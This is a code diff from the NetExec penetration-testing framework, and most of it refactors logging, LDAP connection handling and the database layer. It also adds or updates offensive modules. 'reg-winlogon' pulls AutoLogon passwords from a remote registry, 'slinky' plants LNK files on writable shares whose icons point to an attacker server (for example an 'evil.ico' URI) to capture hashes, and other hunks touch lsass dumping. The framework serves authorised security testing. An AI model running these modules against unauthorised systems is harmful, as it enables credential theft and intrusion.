handlers=[RichHandler(
console=nxc_console,
rich_tracebacks=True,
tracebacks_show_locals=False
)],
)
self.logger = logging.getLogger("nxc")
self.extra = extra
@@ -31,6 +95,7 @@ class NXCAdapter(logging.LoggerAdapter):
logging.getLogger("pypykatz").disabled = True
logging.getLogger("minidump").disabled = True
logging.getLogger("lsassy").disabled = True
logging.getLogger("neo4j").setLevel(logging.ERROR)
def format(self, msg, *args, **kwargs): # noqa: A003
"""Format msg for output
@@ -40,31 +105,23 @@ class NXCAdapter(logging.LoggerAdapter):
if self.extra is None:
return f"{msg}", kwargs
if "module_name" in self.extra and len(self.extra["module_name"]) > 8:
if "module_name" in self.extra and len(self.extra["module_name"]) > 11:
self.extra["module_name"] = self.extra["module_name"][:8] + "..."
# If the logger is being called when hooking the 'options' module function
if len(self.extra) == 1 and ("module_name" in self.extra):
return (
f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}",
kwargs,
)
return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", kwargs)
# If the logger is being called from nxcServer
if len(self.extra) == 2 and ("module_name" in self.extra) and ("host" in self.extra):
return (
f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}",
kwargs,
)
return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}", kwargs)
# If the logger is being called from a protocol
module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"]) if "module_name" in self.extra else colored(self.extra["protocol"], "blue", attrs=["bold"])
return (
f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}",
kwargs,
)
return (f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}", kwargs)
@no_debug
def display(self, msg, *args, **kwargs):
"""Display text to console, formatted for nxc"""
msg, kwargs = self.format(f"{colored('[*]', 'blue', attrs=['bold'])} {msg}", kwargs)
@@ -72,13 +129,15 @@ class NXCAdapter(logging.LoggerAdapter):
nxc_console.print(text, *args, **kwargs)
self.log_console_to_file(text, *args, **kwargs)
@no_debug
def success(self, msg, color="green", *args, **kwargs):
"""Print some sort of success to the user"""
"""Prints some sort of success to the user"""
msg, kwargs = self.format(f"{colored('[+]', color, attrs=['bold'])} {msg}", kwargs)
text = Text.from_ansi(msg)
nxc_console.print(text, *args, **kwargs)
self.log_console_to_file(text, *args, **kwargs)
@no_debug
def highlight(self, msg, *args, **kwargs):
"""Prints a completely yellow highlighted message to the user"""
msg, kwargs = self.format(f"{colored(msg, 'yellow', attrs=['bold'])}", kwargs)
@@ -86,6 +145,7 @@ class NXCAdapter(logging.LoggerAdapter):
nxc_console.print(text, *args, **kwargs)
self.log_console_to_file(text, *args, **kwargs)
@no_debug
def fail(self, msg, color="red", *args, **kwargs):
"""Prints a failure (may or may not be an error) - e.g. login creds didn't work"""
msg, kwargs = self.format(f"{colored('[-]', color, attrs=['bold'])} {msg}", kwargs)
@@ -99,26 +159,12 @@ class NXCAdapter(logging.LoggerAdapter):
If debug or info logging is not enabled, we still want display/success/fail logged to the file specified,
so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers)
"""
if self.logger.getEffectiveLevel() >= logging.INFO:
# will be 0 if it's just the console output, so only do this if we actually have file loggers
if len(self.logger.handlers):
try:
for handler in self.logger.handlers:
handler.handle(
LogRecord(
"nxc",
20,
"",
kwargs,
msg=text,
args=args,
exc_info=None,
)
)
except Exception as e:
self.logger.fail(f"Issue while trying to custom print handler: {e}")
else:
self.logger.info(text)
if self.logger.getEffectiveLevel() >= logging.INFO and len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers
try:
for handler in self.logger.handlers:
handler.handle(LogRecord("nxc", 20, "", kwargs, msg=text, args=args, exc_info=None))
except Exception as e:
self.logger.fail(f"Issue while trying to custom print handler: {e}")
def add_file_log(self, log_file=None):
file_formatter = TermEscapeCodeFormatter("%(asctime)s - %(levelname)s - %(message)s")
@@ -152,7 +198,7 @@ class NXCAdapter(logging.LoggerAdapter):
datetime.now().strftime("%Y-%m-%d"),
f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
)
class TermEscapeCodeFormatter(logging.Formatter):
"""A class to strip the escape codes for logging to files"""
+2 -4
View File
@@ -3,7 +3,6 @@ import ldap3
from impacket.dcerpc.v5 import samr, epm, transport
import sys
class NXCModule:
"""
Module by CyberCelt: @Cyb3rC3lt
@@ -41,6 +40,7 @@ class NXCModule:
if "CHANGEPW" in module_options and ("NAME" not in module_options or "PASSWORD" not in module_options):
context.log.error("NAME and PASSWORD options are required!")
sys.exit(1)
elif "CHANGEPW" in module_options:
self.__noAdd = True
@@ -87,8 +87,7 @@ class NXCModule:
# If SAMR fails now try over LDAPS
if not self.noLDAPRequired:
self.do_ldaps_add(connection, context)
else:
sys.exit(1)
def do_samr_add(self, context):
"""
@@ -178,7 +177,6 @@ class NXCModule:
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
self.noLDAPRequired = True
context.log.highlight("{}".format('Computer account already exists with the name: "' + self.__computerName + '"'))
sys.exit(1)
except samr.DCERPCSessionError as e:
if e.error_code != 0xC0000073:
raise
+16 -12
View File
@@ -35,7 +35,7 @@ class NXCModule:
results = self._detect_installed_services(context, connection, target)
self.detect_running_processes(context, connection, results)
self.dump_results(results, connection.hostname, context)
self.dump_results(results, context)
def _get_target(self, connection):
return connection.host if not connection.kerberos else f"{connection.hostname}.{connection.domain}"
@@ -58,18 +58,16 @@ class NXCModule:
dce, _ = lsa.connect()
policyHandle = lsa.open_policy(dce)
try:
for product in conf["products"]:
for service in product["services"]:
for product in conf["products"]:
for service in product["services"]:
try:
lsa.LsarLookupNames(dce, policyHandle, service["name"])
context.log.info(f"Detected installed service on {connection.host}: {product['name']} {service['description']}")
results.setdefault(product["name"], {"services": []})["services"].append(service)
except Exception:
pass
except Exception:
pass
except Exception as e:
context.log.fail(str(e))
return results
def detect_running_processes(self, context, connection, results):
@@ -80,13 +78,16 @@ class NXCModule:
for product in conf["products"]:
for pipe in product["pipes"]:
if pathlib.PurePath(fl).match(pipe["name"]):
context.log.debug(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
context.log.info(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
prod_results = results.setdefault(product["name"], {})
prod_results.setdefault("pipes", []).append(pipe)
except Exception as e:
context.log.debug(str(e))
if "STATUS_ACCESS_DENIED" in str(e):
context.log.fail("Error STATUS_ACCESS_DENIED while enumerating pipes, probably due to using SMBv1")
else:
context.log.fail(str(e))
def dump_results(self, results, remoteName, context):
def dump_results(self, results, context):
if not results:
context.log.highlight("Found NOTHING!")
return
@@ -261,7 +262,10 @@ conf = {
{"name": "epfw", "description": "ESET"},
{"name": "epfwlwf", "description": "ESET"},
{"name": "epfwwfp", "description": "ESET"},
{"name": "EraAgentSvc", "description": "ESET"},
{"name": "EraAgentSvc", "description": "ESET Management Agent service"},
{"name": "ERAAgent", "description": "ESET Management Agent service"},
{"name": "efwd", "description": "ESET Communication Forwarding Service"},
{"name": "ehttpsrv", "description": "ESET HTTP Server"},
],
"pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}],
},
+7 -2
View File
@@ -31,7 +31,7 @@ class NXCModule:
self.MINLENGTH = module_options["MINLENGTH"]
if "PASSWORDPOLICY" in module_options:
self.PASSWORDPOLICY = True
self.regex = re.compile(r"((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
self.regex = re.compile(r"((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}$") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
def on_login(self, context, connection):
"""Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
@@ -102,6 +102,11 @@ class NXCModule:
if self.regex.search(description):
conditionPasswordPolicy = True
if (conditionFilter == self.FILTER) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
if conditionFilter and not self.PASSWORDPOLICY:
context.log.highlight(f"'{self.FILTER}' found in description: '{description}'")
elif (self.FILTER == "" and (conditionPasswordPolicy == self.PASSWORDPOLICY)):
answersFiltered.append([answer[0], description])
elif (self.FILTER != "" and conditionFilter) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
context.log.highlight(f"'{self.FILTER}' found in user: '{answer[0]}' description: '{description}'")
return answersFiltered
+1 -1
View File
@@ -146,7 +146,7 @@ class NXCModule:
@staticmethod
def save_credentials(context, connection, domain, username, password, lmhash, nthash):
host_id = context.db.get_computers(connection.host)[0][0]
host_id = context.db.get_hosts(connection.host)[0][0]
if password is not None:
credential_type = "plaintext"
else:
+35 -19
View File
@@ -39,10 +39,15 @@ class NXCModule:
async def run_ldaps_noEPA(target, credential):
ldapsClientConn = MSLDAPClientConnection(target, credential)
_, err = await ldapsClientConn.connect()
# Required step to try to bind without channel binding
ldapsClientConn.cb_data = None
if err is not None:
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
sys.exit()
_, err = await ldapsClientConn.bind()
valid, err = await ldapsClientConn.bind()
if "data 80090346" in str(err):
return True # channel binding IS enforced
elif "data 52e" in str(err):
@@ -87,11 +92,12 @@ class NXCModule:
def DoesLdapsCompleteHandshake(dcIp):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
ssl_sock = ssl.wrap_socket(
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_sock = ssl_context.wrap_socket(
s,
cert_reqs=ssl.CERT_OPTIONAL,
suppress_ragged_eofs=False,
do_handshake_on_connect=False,
suppress_ragged_eofs=False,
)
ssl_sock.connect((dcIp, 636))
try:
@@ -114,19 +120,30 @@ class NXCModule:
# requirements are enforced based on potential errors
# during the bind attempt.
async def run_ldap(target, credential):
ldapsClientConn = MSLDAPClientConnection(target, credential)
_, err = await ldapsClientConn.connect()
if err is None:
_, err = await ldapsClientConn.bind()
if "stronger" in str(err):
return True # because LDAP server signing requirements ARE enforced
elif ("data 52e") in str(err):
context.log.fail("Not connected... exiting")
sys.exit()
elif err is None:
try:
ldapsClientConn = MSLDAPClientConnection(target, credential)
ldapsClientConn._disable_signing = True
_, err = await ldapsClientConn.connect()
if err is not None:
context.log.fail(str(err))
return False
else:
context.log.fail(str(err))
_, err = await ldapsClientConn.bind()
if err is not None:
errstr = str(err).lower()
if "stronger" in errstr:
return True
# because LDAP server signing requirements ARE enforced
else:
context.log.fail(str(err))
else:
# LDAPS bind successful
return False
# because LDAP server signing requirements are not enforced
except Exception as e:
context.log.debug(str(e))
return False
# Run trough all our code blocks to determine LDAP signing and channel binding settings.
stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT
@@ -148,9 +165,8 @@ class NXCModule:
stype=stype,
)
target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
target = MSLDAPTarget(connection.host, 389, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
ldapIsProtected = asyncio.run(run_ldap(target, credential))
if ldapIsProtected is False:
context.log.highlight("LDAP Signing NOT Enforced!")
elif ldapIsProtected is True:
@@ -162,7 +178,7 @@ class NXCModule:
if DoesLdapsCompleteHandshake(connection.host) is True:
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential))
target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential))
if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True:
context.log.highlight('LDAPS Channel Binding is set to "When Supported"')
+1 -1
View File
@@ -64,7 +64,7 @@ class NXCModule:
context.log.fail("Unable to dump lsass")
return False
parsed = Parser(file).parse()
parsed = Parser(host, file).parse()
if parsed is None:
context.log.fail("Unable to parse lsass dump")
return False
+1 -1
View File
@@ -14,7 +14,7 @@ class NXCModule:
def options(self, context, module_options):
pass
name = "MAQ"
name = "maq"
description = "Retrieves the MachineAccountQuota domain-level attribute"
supported_protocols = ["ldap"]
opsec_safe = True
+3 -3
View File
@@ -3,7 +3,7 @@
# Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/
from sys import exit
from os import path
import sys
from nxc.paths import TMP_PATH
from nxc.helpers.powershell import get_ps_script
@@ -49,14 +49,14 @@ class NXCModule:
def on_admin_login(self, context, connection):
if self.use_embedded:
file_to_upload = "/tmp/msol.ps1"
file_to_upload = f"{TMP_PATH}/msol.ps1"
try:
with open(file_to_upload, "w") as msol:
msol.write(self.msol_embedded)
except FileNotFoundError:
context.log.fail(f"Impersonate file specified '{file_to_upload}' does not exist!")
sys.exit(1)
exit(1)
else:
if path.isfile(self.MSOL_PS1):
+1 -1
View File
@@ -174,7 +174,7 @@ class NXCModule:
self.context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
else:
try:
exec_method = MSSQLEXEC(self.connection.conn)
exec_method = MSSQLEXEC(self.connection.conn, self.context.log)
exec_method.get_file(self.remote_tmp_dir + nano_log_name, filename)
self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
except Exception as e:
+46
View File
@@ -0,0 +1,46 @@
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
class NXCModule:
r"""
WinLogon AutoLogon: extract the credential from the following registry hive
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
Module by @pentest_swissky
"""
name = "reg-winlogon"
description = "Collect autologon credential stored in the registry"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
""" """
def on_admin_login(self, context, connection):
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",
)
keyHandle = ans["phkResult"]
reg_keys = ["AutoAdminLogon", "DefaultDomainName", "DefaultUserName", "DefaultPassword"]
for reg_key in reg_keys:
try:
dataType, reg_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, reg_key)
context.log.highlight(f"{reg_key}: {reg_value}")
except Exception:
context.log.highlight(f"{reg_key}:")
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
remoteOps.finish()
+2 -1
View File
@@ -1,5 +1,6 @@
import ntpath
from sys import exit
from nxc.paths import TMP_PATH
class NXCModule:
@@ -44,7 +45,7 @@ class NXCModule:
exit(1)
self.scf_name = module_options["NAME"]
self.scf_path = f"/tmp/{self.scf_name}.scf"
self.scf_path = f"{TMP_PATH}/{self.scf_name}.scf"
self.file_path = ntpath.join("\\", f"{self.scf_name}.scf")
if not self.cleanup:
+45 -27
View File
@@ -7,42 +7,55 @@ class NXCModule:
"""
Original idea and PoC by Justin Angel (@4rch4ngel86)
Module by @byt3bl33d3r
Updated by @Marshall-Hallenbeck
"""
name = "slinky"
description = "Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions"
description = "Creates windows shortcuts with the icon attribute containing a URI to the specified server (default SMB) in all shares with write permissions"
supported_protocols = ["smb"]
opsec_safe = False
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def __init__(self):
self.server = None
self.file_path = None
self.lnk_path = None
self.lnk_name = None
self.ico_uri = None
self.shares = None
self.cleanup = None
def options(self, context, module_options):
"""
SERVER IP of the SMB server
NAME LNK file name
r"""
SERVER IP of the listening server (running Responder, etc)
NAME LNK file name written to the share(s)
ICO_URI Override full ICO path (e.g. http://192.168.1.2/evil.ico or \\\\192.168.1.2\\testing_path\\icon.ico)
SHARES Specific shares to write to (comma separated, e.g. SHARES=share1,share2,share3)
CLEANUP Cleanup (choices: True or False)
"""
self.cleanup = False
if "CLEANUP" in module_options:
self.cleanup = bool(module_options["CLEANUP"])
context.log.debug("Cleanup set to True")
if "NAME" not in module_options:
context.log.fail("NAME option is required!")
exit(1)
if "SHARES" in module_options:
self.shares = module_options["SHARES"].split(",")
context.log.debug(f"Shares to write to: {self.shares}")
if not self.cleanup and "SERVER" not in module_options:
context.log.fail("SERVER option is required!")
exit(1)
if "ICO_URI" in module_options:
self.ico_uri = module_options["ICO_URI"]
context.log.debug("Overriding")
self.lnk_name = module_options["NAME"]
self.lnk_path = f"/tmp/{self.lnk_name}.lnk"
self.file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
@@ -50,28 +63,33 @@ class NXCModule:
if not self.cleanup:
self.server = module_options["SERVER"]
link = pylnk3.create(self.lnk_path)
link.icon = f"\\\\{self.server}\\icons\\icon.ico"
link.icon = self.ico_uri if self.ico_uri else f"\\\\{self.server}\\icons\\icon.ico"
link.save()
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if "WRITE" in share["access"] and share["name"] not in [
"C$",
"ADMIN$",
"NETLOGON",
]:
context.log.success(f"Found writable share: {share['name']}")
if not self.cleanup:
with open(self.lnk_path, "rb") as lnk:
if shares:
slinky_logger = context.log.init_log_file()
context.log.add_file_log(slinky_logger)
for share in shares:
# TODO: these can be written to - add an option to override these
if "WRITE" in share["access"] and share["name"] not in ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]:
if self.shares is not None and share["name"] not in self.shares:
context.log.debug(f"Did not write to {share['name']} share as it was not specified in the SHARES option")
continue
context.log.success(f"Found writable share: {share['name']}")
if not self.cleanup:
with open(self.lnk_path, "rb") as lnk:
try:
connection.conn.putFile(share["name"], self.file_path, lnk.read)
context.log.success(f"Created LNK file on the {share['name']} share")
except Exception as e:
context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
else:
try:
connection.conn.putFile(share["name"], self.file_path, lnk.read)
context.log.success(f"Created LNK file on the {share['name']} share")
connection.conn.deleteFile(share["name"], self.file_path)
context.log.success(f"Deleted LNK file on the {share['name']} share")
except Exception as e:
context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
else:
try:
connection.conn.deleteFile(share["name"], self.file_path)
context.log.success(f"Deleted LNK file on the {share['name']} share")
except Exception as e:
context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")
context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")
+5 -17
View File
@@ -21,7 +21,6 @@ import os
from os.path import exists
from os.path import join as path_join
from sys import exit
import logging
from rich.progress import Progress
import platform
@@ -42,11 +41,11 @@ async def start_run(protocol_obj, args, db, targets):
futures = []
nxc_logger.debug("Creating ThreadPoolExecutor")
if args.no_progress or len(targets) == 1:
with ThreadPoolExecutor(max_workers=args.threads + 1) as executor:
with ThreadPoolExecutor(max_workers=args.threads) as executor:
nxc_logger.debug(f"Creating thread for {protocol_obj}")
futures = [executor.submit(protocol_obj, args, db, target) for target in targets]
else:
with Progress(console=nxc_console) as progress, ThreadPoolExecutor(max_workers=args.threads + 1) as executor:
with Progress(console=nxc_console) as progress, ThreadPoolExecutor(max_workers=args.threads) as executor:
current = 0
total = len(targets)
tasks = progress.add_task(
@@ -67,19 +66,8 @@ async def start_run(protocol_obj, args, db, targets):
def main():
first_run_setup(nxc_logger)
root_logger = logging.getLogger("root")
args = gen_cli_args()
if args.verbose:
nxc_logger.logger.setLevel(logging.INFO)
root_logger.setLevel(logging.INFO)
elif args.debug:
nxc_logger.logger.setLevel(logging.DEBUG)
root_logger.setLevel(logging.DEBUG)
else:
nxc_logger.logger.setLevel(logging.ERROR)
root_logger.setLevel(logging.ERROR)
# if these are the same, it might double log to file (two FileHandlers will be added)
# but this should never happen by accident
if config_log:
@@ -87,8 +75,8 @@ def main():
if hasattr(args, "log") and args.log:
nxc_logger.add_file_log(args.log)
nxc_logger.debug("PYTHON VERSION: " + sys.version)
nxc_logger.debug("RUNNING ON: " + platform.system() + " Release: " + platform.release())
nxc_logger.debug(f"PYTHON VERSION: {sys.version}")
nxc_logger.debug(f"RUNNING ON: {platform.system()} Release: {platform.release()}")
nxc_logger.debug(f"Passed args: {args}")
# FROM HERE ON A PROTOCOL IS REQUIRED
@@ -185,7 +173,7 @@ def main():
exit(0)
elif args.module:
nxc_logger.debug(f"Modules to be Loaded: {args.module}, {type(args.module)}")
for m in map(str.lower, args.module):
for m in args.module:
if m not in modules:
nxc_logger.error(f"Module not found: {m}")
exit(1)
+13
View File
@@ -0,0 +1,13 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
def parse_result_attributes(ldap_response):
parsed_response = []
for entry in ldap_response:
# SearchResultReferences may be returned
if not isinstance(entry, ldapasn1_impacket.SearchResultEntry):
continue
attribute_map = {}
for attribute in entry["attributes"]:
attribute_map[str(attribute["type"])] = str(attribute["vals"][0])
parsed_response.append(attribute_map)
return parsed_response
+3 -3
View File
@@ -3,7 +3,7 @@ from sqlalchemy.dialects.sqlite import Insert
from sqlalchemy.orm import sessionmaker, scoped_session
from sqlalchemy import MetaData, Table, select, delete, func
from sqlalchemy.exc import (
IllegalStateChangeError,
# IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
@@ -74,7 +74,7 @@ class database:
print(
f"""
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
[-] This is probably because a newer version of nxc is being ran on an old DB schema
[-] This is probably because a newer version of nxc is being run on an old DB schema
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
)
@@ -86,7 +86,7 @@ class database:
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except IllegalStateChangeError as e:
except Exception as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
+159 -135
View File
@@ -5,7 +5,7 @@ import hmac
import os
import socket
from binascii import hexlify
from datetime import datetime
from datetime import datetime, timedelta
from re import sub, I
from zipfile import ZipFile
from termcolor import colored
@@ -38,6 +38,7 @@ from nxc.logger import NXCAdapter, nxc_logger
from nxc.protocols.ldap.bloodhound import BloodHound
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
from nxc.protocols.ldap.kerberos import KerberosAttacks
from nxc.parsers.ldap_results import parse_result_attributes
ldap_error_status = {
"1": "STATUS_NOT_SUPPORTED",
@@ -253,9 +254,7 @@ class ldap(connection):
self.hostname = self.target
self.domain = self.targetDomain
# smb no open, specify the domain
if self.args.no_smb:
self.domain = self.args.domain
else:
if not self.args.no_smb:
self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
try:
@@ -266,8 +265,8 @@ class ldap(connection):
if "STATUS_NOT_SUPPORTED" in str(e):
self.no_ntlm = True
if not self.no_ntlm:
self.domain = self.conn.getServerDNSDomainName()
self.hostname = self.conn.getServerName()
self.targetDomain = self.domain = self.conn.getServerDNSDomainName()
self.server_os = self.conn.getServerOS()
self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"]
self.os_arch = self.get_os_arch()
@@ -275,21 +274,19 @@ class ldap(connection):
if not self.domain:
self.domain = self.hostname
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
try: # noqa: SIM105
# DC's seem to want us to logoff first, windows workstations sometimes reset the connection
self.conn.logoff()
except Exception:
pass
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
# Re-connect since we logged off
self.create_conn_obj()
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}".replace(":", "-"))
def print_host_info(self):
self.logger.debug("Printing host info for LDAP")
@@ -302,20 +299,11 @@ class ldap(connection):
self.logger.extra["port"] = "445" if not self.no_ntlm else "389"
signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"])
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) ({signing}) ({smbv1})")
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})")
self.logger.extra["protocol"] = "LDAP"
return True
def kerberos_login(
self,
domain,
username,
password="",
ntlm_hash="",
aesKey="",
kdcHost="",
useCache=False,
):
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
self.username = username
self.password = password
self.domain = domain
@@ -349,20 +337,13 @@ class ldap(connection):
try:
# Connect to LDAP
self.logger.extra["protocol"] = "LDAPS" if (self.args.gmsa or self.port == 636) else "LDAP"
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
ldap_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} [1]")
self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN)
self.ldapConnection.kerberosLogin(
username,
password,
domain,
self.lmhash,
self.nthash,
aesKey,
kdcHost=kdcHost,
useCache=useCache,
)
self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
if self.username == "":
self.username = self.get_ldap_username()
@@ -370,14 +351,9 @@ class ldap(connection):
self.check_if_admin()
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
out = f"{domain}\\{self.username}{used_ccache} {self.mark_pwned()}"
self.logger.success(f"{domain}\\{self.username}{used_ccache} {self.mark_pwned()}")
self.logger.extra["protocol"] = "LDAP"
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
self.logger.success(out)
if not self.args.local_auth:
if not self.args.local_auth and self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -408,19 +384,12 @@ class ldap(connection):
# We need to try SSL
try:
# Connect to LDAPS
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
ldaps_url = f"ldaps://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [2]")
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
self.ldapConnection.kerberosLogin(
username,
password,
domain,
self.lmhash,
self.nthash,
aesKey,
kdcHost=kdcHost,
useCache=useCache,
)
self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
if self.username == "":
self.username = self.get_ldap_username()
@@ -428,13 +397,9 @@ class ldap(connection):
self.check_if_admin()
# Prepare success credential text
out = f"{domain}\\{self.username} {self.mark_pwned()}"
self.logger.success(f"{domain}\\{self.username} {self.mark_pwned()}")
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
self.logger.success(out)
if not self.args.local_auth:
if not self.args.local_auth and self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -476,6 +441,8 @@ class ldap(connection):
try:
# Connect to LDAP
self.logger.extra["protocol"] = "LDAPS" if (self.args.gmsa or self.port == 636) else "LDAP"
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
ldap_url = f"{proto}://{self.target}"
self.logger.debug(f"Connecting to {ldap_url} - {self.baseDN} [3]")
@@ -484,13 +451,9 @@ class ldap(connection):
self.check_if_admin()
# Prepare success credential text
out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
self.logger.extra["protocol"] = "LDAP"
